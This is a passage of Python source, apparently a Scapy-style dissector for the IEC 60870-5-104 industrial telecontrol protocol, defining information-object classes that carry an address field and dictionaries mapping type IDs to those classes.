IEC104_IO_C_CS_NA_1,\n    IEC104_IO_ID_C_TS_NA_1: IEC104_IO_C_TS_NA_1,\n    IEC104_IO_ID_C_RP_NA_1: IEC104_IO_C_RP_NA_1,\n    IEC104_IO_ID_C_CD_NA_1: IEC104_IO_C_CD_NA_1,\n    IEC104_IO_ID_C_TS_TA_1: IEC104_IO_C_TS_TA_1,\n    IEC104_IO_ID_P_ME_NA_1: IEC104_IO_P_ME_NA_1,\n    IEC104_IO_ID_P_ME_NB_1: IEC104_IO_P_ME_NB_1,\n    IEC104_IO_ID_P_ME_NC_1: IEC104_IO_P_ME_NC_1,\n    IEC104_IO_ID_P_AC_NA_1: IEC104_IO_P_AC_NA_1,\n    IEC104_IO_ID_F_FR_NA_1: IEC104_IO_F_FR_NA_1,\n    IEC104_IO_ID_F_SR_NA_1: IEC104_IO_F_SR_NA_1,\n    IEC104_IO_ID_F_SC_NA_1: IEC104_IO_F_SC_NA_1,\n    IEC104_IO_ID_F_LS_NA_1: IEC104_IO_F_LS_NA_1,\n    IEC104_IO_ID_F_AF_NA_1: IEC104_IO_F_AF_NA_1,\n    IEC104_IO_ID_F_SG_NA_1: IEC104_IO_F_SG_NA_1,\n    IEC104_IO_ID_F_DR_TA_1: IEC104_IO_F_DR_TA_1,\n    IEC104_IO_ID_F_SC_NB_1: IEC104_IO_F_SC_NB_1\n}\n\n\nclass IEC104_IO_M_SP_NA_1_IOA(IEC104_IO_M_SP_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_SP_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_SP_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_SP_NA_1.fields_desc\n\n\nclass IEC104_IO_M_SP_TA_1_IOA(IEC104_IO_M_SP_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_SP_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_SP_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_SP_TA_1.fields_desc\n\n\nclass IEC104_IO_M_DP_NA_1_IOA(IEC104_IO_M_DP_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_DP_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_DP_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_DP_NA_1.fields_desc\n\n\nclass IEC104_IO_M_DP_TA_1_IOA(IEC104_IO_M_DP_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_DP_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_DP_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_DP_TA_1.fields_desc\n\n\nclass IEC104_IO_M_ST_NA_1_IOA(IEC104_IO_M_ST_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ST_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ST_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ST_NA_1.fields_desc\n\n\nclass IEC104_IO_M_ST_TA_1_IOA(IEC104_IO_M_ST_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ST_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ST_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ST_TA_1.fields_desc\n\n\nclass IEC104_IO_M_BO_NA_1_IOA(IEC104_IO_M_BO_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_BO_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_BO_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_BO_NA_1.fields_desc\n\n\nclass IEC104_IO_M_BO_TA_1_IOA(IEC104_IO_M_BO_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_BO_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_BO_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_BO_TA_1.fields_desc\n\n\nclass IEC104_IO_M_ME_NA_1_IOA(IEC104_IO_M_ME_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_NA_1.fields_desc\n\n\nclass IEC104_IO_M_ME_TA_1_IOA(IEC104_IO_M_ME_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_TA_1.fields_desc\n\n\nclass IEC104_IO_M_ME_NB_1_IOA(IEC104_IO_M_ME_NB_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_NB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_NB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_NB_1.fields_desc\n\n\nclass IEC104_IO_M_ME_TB_1_IOA(IEC104_IO_M_ME_TB_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_TB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_TB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_TB_1.fields_desc\n\n\nclass IEC104_IO_M_ME_NC_1_IOA(IEC104_IO_M_ME_NC_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_NC_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_NC_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_NC_1.fields_desc\n\n\nclass IEC104_IO_M_ME_TC_1_IOA(IEC104_IO_M_ME_TC_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_TC_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_TC_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_TC_1.fields_desc\n\n\nclass IEC104_IO_M_IT_NA_1_IOA(IEC104_IO_M_IT_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_IT_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_IT_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_IT_NA_1.fields_desc\n\n\nclass IEC104_IO_M_IT_TA_1_IOA(IEC104_IO_M_IT_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_IT_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_IT_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_IT_TA_1.fields_desc\n\n\nclass IEC104_IO_M_EP_TA_1_IOA(IEC104_IO_M_EP_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_EP_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_EP_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_EP_TA_1.fields_desc\n\n\nclass IEC104_IO_M_EP_TB_1_IOA(IEC104_IO_M_EP_TB_1):\n    \"\"\"\n    extended version of IEC104_IO_M_EP_TB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_EP_TB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_EP_TB_1.fields_desc\n\n\nclass IEC104_IO_M_EP_TC_1_IOA(IEC104_IO_M_EP_TC_1):\n    \"\"\"\n    extended version of IEC104_IO_M_EP_TC_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_EP_TC_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_EP_TC_1.fields_desc\n\n\nclass IEC104_IO_M_PS_NA_1_IOA(IEC104_IO_M_PS_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_PS_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_PS_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_PS_NA_1.fields_desc\n\n\nclass IEC104_IO_M_ME_ND_1_IOA(IEC104_IO_M_ME_ND_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_ND_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_ND_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_ND_1.fields_desc\n\n\nclass IEC104_IO_M_SP_TB_1_IOA(IEC104_IO_M_SP_TB_1):\n    \"\"\"\n    extended version of IEC104_IO_M_SP_TB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_SP_TB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_SP_TB_1.fields_desc\n\n\nclass IEC104_IO_M_DP_TB_1_IOA(IEC104_IO_M_DP_TB_1):\n    \"\"\"\n    extended version of IEC104_IO_M_DP_TB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_DP_TB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_DP_TB_1.fields_desc\n\n\nclass IEC104_IO_M_ST_TB_1_IOA(IEC104_IO_M_ST_TB_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ST_TB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ST_TB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ST_TB_1.fields_desc\n\n\nclass IEC104_IO_M_BO_TB_1_IOA(IEC104_IO_M_BO_TB_1):\n    \"\"\"\n    extended version of IEC104_IO_M_BO_TB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_BO_TB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_BO_TB_1.fields_desc\n\n\nclass IEC104_IO_M_ME_TD_1_IOA(IEC104_IO_M_ME_TD_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_TD_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_TD_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_TD_1.fields_desc\n\n\nclass IEC104_IO_M_ME_TE_1_IOA(IEC104_IO_M_ME_TE_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_TE_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_TE_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_TE_1.fields_desc\n\n\nclass IEC104_IO_M_ME_TF_1_IOA(IEC104_IO_M_ME_TF_1):\n    \"\"\"\n    extended version of IEC104_IO_M_ME_TF_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_ME_TF_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_ME_TF_1.fields_desc\n\n\nclass IEC104_IO_M_IT_TB_1_IOA(IEC104_IO_M_IT_TB_1):\n    \"\"\"\n    extended version of IEC104_IO_M_IT_TB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_IT_TB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_IT_TB_1.fields_desc\n\n\nclass IEC104_IO_M_EP_TD_1_IOA(IEC104_IO_M_EP_TD_1):\n    \"\"\"\n    extended version of IEC104_IO_M_EP_TD_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_EP_TD_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_EP_TD_1.fields_desc\n\n\nclass IEC104_IO_M_EP_TE_1_IOA(IEC104_IO_M_EP_TE_1):\n    \"\"\"\n    extended version of IEC104_IO_M_EP_TE_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_EP_TE_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_EP_TE_1.fields_desc\n\n\nclass IEC104_IO_M_EP_TF_1_IOA(IEC104_IO_M_EP_TF_1):\n    \"\"\"\n    extended version of IEC104_IO_M_EP_TF_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_EP_TF_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_EP_TF_1.fields_desc\n\n\nclass IEC104_IO_C_SC_NA_1_IOA(IEC104_IO_C_SC_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_SC_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_SC_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_SC_NA_1.fields_desc\n\n\nclass IEC104_IO_C_DC_NA_1_IOA(IEC104_IO_C_DC_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_DC_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_DC_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_DC_NA_1.fields_desc\n\n\nclass IEC104_IO_C_RC_NA_1_IOA(IEC104_IO_C_RC_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_RC_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_RC_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_RC_NA_1.fields_desc\n\n\nclass IEC104_IO_C_SE_NA_1_IOA(IEC104_IO_C_SE_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_SE_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_SE_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_SE_NA_1.fields_desc\n\n\nclass IEC104_IO_C_SE_NB_1_IOA(IEC104_IO_C_SE_NB_1):\n    \"\"\"\n    extended version of IEC104_IO_C_SE_NB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_SE_NB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_SE_NB_1.fields_desc\n\n\nclass IEC104_IO_C_SE_NC_1_IOA(IEC104_IO_C_SE_NC_1):\n    \"\"\"\n    extended version of IEC104_IO_C_SE_NC_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_SE_NC_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_SE_NC_1.fields_desc\n\n\nclass IEC104_IO_C_BO_NA_1_IOA(IEC104_IO_C_BO_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_BO_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_BO_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_BO_NA_1.fields_desc\n\n\nclass IEC104_IO_C_SC_TA_1_IOA(IEC104_IO_C_SC_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_SC_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_SC_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_SC_TA_1.fields_desc\n\n\nclass IEC104_IO_C_DC_TA_1_IOA(IEC104_IO_C_DC_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_DC_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_DC_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_DC_TA_1.fields_desc\n\n\nclass IEC104_IO_C_RC_TA_1_IOA(IEC104_IO_C_RC_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_RC_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_RC_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_RC_TA_1.fields_desc\n\n\nclass IEC104_IO_C_SE_TA_1_IOA(IEC104_IO_C_SE_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_SE_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_SE_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_SE_TA_1.fields_desc\n\n\nclass IEC104_IO_C_SE_TB_1_IOA(IEC104_IO_C_SE_TB_1):\n    \"\"\"\n    extended version of IEC104_IO_C_SE_TB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_SE_TB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_SE_TB_1.fields_desc\n\n\nclass IEC104_IO_C_SE_TC_1_IOA(IEC104_IO_C_SE_TC_1):\n    \"\"\"\n    extended version of IEC104_IO_C_SE_TC_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_SE_TC_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_SE_TC_1.fields_desc\n\n\nclass IEC104_IO_C_BO_TA_1_IOA(IEC104_IO_C_BO_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_BO_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_BO_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_BO_TA_1.fields_desc\n\n\nclass IEC104_IO_M_EI_NA_1_IOA(IEC104_IO_M_EI_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_M_EI_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'M_EI_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_M_EI_NA_1.fields_desc\n\n\nclass IEC104_IO_C_IC_NA_1_IOA(IEC104_IO_C_IC_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_IC_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_IC_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_IC_NA_1.fields_desc\n\n\nclass IEC104_IO_C_CI_NA_1_IOA(IEC104_IO_C_CI_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_CI_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_CI_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_CI_NA_1.fields_desc\n\n\nclass IEC104_IO_C_RD_NA_1_IOA(IEC104_IO_C_RD_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_RD_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_RD_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_RD_NA_1.fields_desc\n\n\nclass IEC104_IO_C_CS_NA_1_IOA(IEC104_IO_C_CS_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_CS_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_CS_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_CS_NA_1.fields_desc\n\n\nclass IEC104_IO_C_TS_NA_1_IOA(IEC104_IO_C_TS_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_TS_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_TS_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_TS_NA_1.fields_desc\n\n\nclass IEC104_IO_C_RP_NA_1_IOA(IEC104_IO_C_RP_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_RP_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_RP_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_RP_NA_1.fields_desc\n\n\nclass IEC104_IO_C_CD_NA_1_IOA(IEC104_IO_C_CD_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_CD_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_CD_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_CD_NA_1.fields_desc\n\n\nclass IEC104_IO_C_TS_TA_1_IOA(IEC104_IO_C_TS_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_C_TS_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'C_TS_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_C_TS_TA_1.fields_desc\n\n\nclass IEC104_IO_P_ME_NA_1_IOA(IEC104_IO_P_ME_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_P_ME_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'P_ME_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_P_ME_NA_1.fields_desc\n\n\nclass IEC104_IO_P_ME_NB_1_IOA(IEC104_IO_P_ME_NB_1):\n    \"\"\"\n    extended version of IEC104_IO_P_ME_NB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'P_ME_NB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_P_ME_NB_1.fields_desc\n\n\nclass IEC104_IO_P_ME_NC_1_IOA(IEC104_IO_P_ME_NC_1):\n    \"\"\"\n    extended version of IEC104_IO_P_ME_NC_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'P_ME_NC_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_P_ME_NC_1.fields_desc\n\n\nclass IEC104_IO_P_AC_NA_1_IOA(IEC104_IO_P_AC_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_P_AC_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'P_AC_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_P_AC_NA_1.fields_desc\n\n\nclass IEC104_IO_F_FR_NA_1_IOA(IEC104_IO_F_FR_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_F_FR_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'F_FR_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_F_FR_NA_1.fields_desc\n\n\nclass IEC104_IO_F_SR_NA_1_IOA(IEC104_IO_F_SR_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_F_SR_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'F_SR_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_F_SR_NA_1.fields_desc\n\n\nclass IEC104_IO_F_SC_NA_1_IOA(IEC104_IO_F_SC_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_F_SC_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'F_SC_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_F_SC_NA_1.fields_desc\n\n\nclass IEC104_IO_F_LS_NA_1_IOA(IEC104_IO_F_LS_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_F_LS_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'F_LS_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_F_LS_NA_1.fields_desc\n\n\nclass IEC104_IO_F_AF_NA_1_IOA(IEC104_IO_F_AF_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_F_AF_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'F_AF_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_F_AF_NA_1.fields_desc\n\n\nclass IEC104_IO_F_SG_NA_1_IOA(IEC104_IO_F_SG_NA_1):\n    \"\"\"\n    extended version of IEC104_IO_F_SG_NA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'F_SG_NA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_F_SG_NA_1.fields_desc\n\n\nclass IEC104_IO_F_DR_TA_1_IOA(IEC104_IO_F_DR_TA_1):\n    \"\"\"\n    extended version of IEC104_IO_F_DR_TA_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'F_DR_TA_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_F_DR_TA_1.fields_desc\n\n\nclass IEC104_IO_F_SC_NB_1_IOA(IEC104_IO_F_SC_NB_1):\n    \"\"\"\n    extended version of IEC104_IO_F_SC_NB_1 containing an individual\n    information object address\n    \"\"\"\n    name = 'F_SC_NB_1 (+ioa)'\n    fields_desc = [LEThreeBytesField('information_object_address', 0)] + \\\n        IEC104_IO_F_SC_NB_1.fields_desc\n\n\nIEC104_IO_WITH_IOA_CLASSES = {\n    IEC104_IO_ID_M_SP_NA_1: IEC104_IO_M_SP_NA_1_IOA,\n    IEC104_IO_ID_M_SP_TA_1: IEC104_IO_M_SP_TA_1_IOA,\n    IEC104_IO_ID_M_DP_NA_1: IEC104_IO_M_DP_NA_1_IOA,\n    IEC104_IO_ID_M_DP_TA_1: IEC104_IO_M_DP_TA_1_IOA,\n    IEC104_IO_ID_M_ST_NA_1: IEC104_IO_M_ST_NA_1_IOA,\n    IEC104_IO_ID_M_ST_TA_1: IEC104_IO_M_ST_TA_1_IOA,\n    IEC104_IO_ID_M_BO_NA_1: IEC104_IO_M_BO_NA_1_IOA,\n    IEC104_IO_ID_M_BO_TA_1: IEC104_IO_M_BO_TA_1_IOA,\n    IEC104_IO_ID_M_ME_NA_1: IEC104_IO_M_ME_NA_1_IOA,\n    IEC104_IO_ID_M_ME_TA_1: IEC104_IO_M_ME_TA_1_IOA,\n    IEC104_IO_ID_M_ME_NB_1: IEC104_IO_M_ME_NB_1_IOA,\n    IEC104_IO_ID_M_ME_TB_1: IEC104_IO_M_ME_TB_1_IOA,\n    IEC104_IO_ID_M_ME_NC_1: IEC104_IO_M_ME_NC_1_IOA,\n    IEC104_IO_ID_M_ME_TC_1: IEC104_IO_M_ME_TC_1_IOA,\n    IEC104_IO_ID_M_IT_NA_1: IEC104_IO_M_IT_NA_1_IOA,\n    IEC104_IO_ID_M_IT_TA_1: IEC104_IO_M_IT_TA_1_IOA,\n    IEC104_IO_ID_M_EP_TA_1: IEC104_IO_M_EP_TA_1_IOA,\n    IEC104_IO_ID_M_EP_TB_1: IEC104_IO_M_EP_TB_1_IOA,\n    IEC104_IO_ID_M_EP_TC_1: IEC104_IO_M_EP_TC_1_IOA,\n    IEC104_IO_ID_M_PS_NA_1: IEC104_IO_M_PS_NA_1_IOA,\n    IEC104_IO_ID_M_ME_ND_1: IEC104_IO_M_ME_ND_1_IOA,\n    IEC104_IO_ID_M_SP_TB_1: IEC104_IO_M_SP_TB_1_IOA,\n    IEC104_IO_ID_M_DP_TB_1: IEC104_IO_M_DP_TB_1_IOA,\n    IEC104_IO_ID_M_ST_TB_1: IEC104_IO_M_ST_TB_1_IOA,\n    IEC104_IO_ID_M_BO_TB_1: IEC104_IO_M_BO_TB_1_IOA,\n    IEC104_IO_ID_M_ME_TD_1: IEC104_IO_M_ME_TD_1_IOA,\n    IEC104_IO_ID_M_ME_TE_1: IEC104_IO_M_ME_TE_1_IOA,\n    IEC104_IO_ID_M_ME_TF_1: IEC104_IO_M_ME_TF_1_IOA,\n    IEC104_IO_ID_M_IT_TB_1: IEC104_IO_M_IT_TB_1_IOA,\n    IEC104_IO_ID_M_EP_TD_1: IEC104_IO_M_EP_TD_1_IOA,\n    IEC104_IO_ID_M_EP_TE_1: IEC104_IO_M_EP_TE_1_IOA,\n    IEC104_IO_ID_M_EP_TF_1: IEC104_IO_M_EP_TF_1_IOA,\n    IEC104_IO_ID_C_SC_NA_1: IEC104_IO_C_SC_NA_1_IOA,\n    IEC104_IO_ID_C_DC_NA_1: IEC104_IO_C_DC_NA_1_IOA,\n    IEC104_IO_ID_C_RC_NA_1: IEC104_IO_C_RC_NA_1_IOA,\n    IEC104_IO_ID_C_SE_NA_1: IEC104_IO_C_SE_NA_1_IOA,\n    IEC104_IO_ID_C_SE_NB_1: IEC104_IO_C_SE_NB_1_IOA,\n    IEC104_IO_ID_C_SE_NC_1: IEC104_IO_C_SE_NC_1_IOA,\n    IEC104_IO_ID_C_BO_NA_1: IEC104_IO_C_BO_NA_1_IOA,\n    IEC104_IO_ID_C_SC_TA_1: IEC104_IO_C_SC_TA_1_IOA,\n    IEC104_IO_ID_C_DC_TA_1: 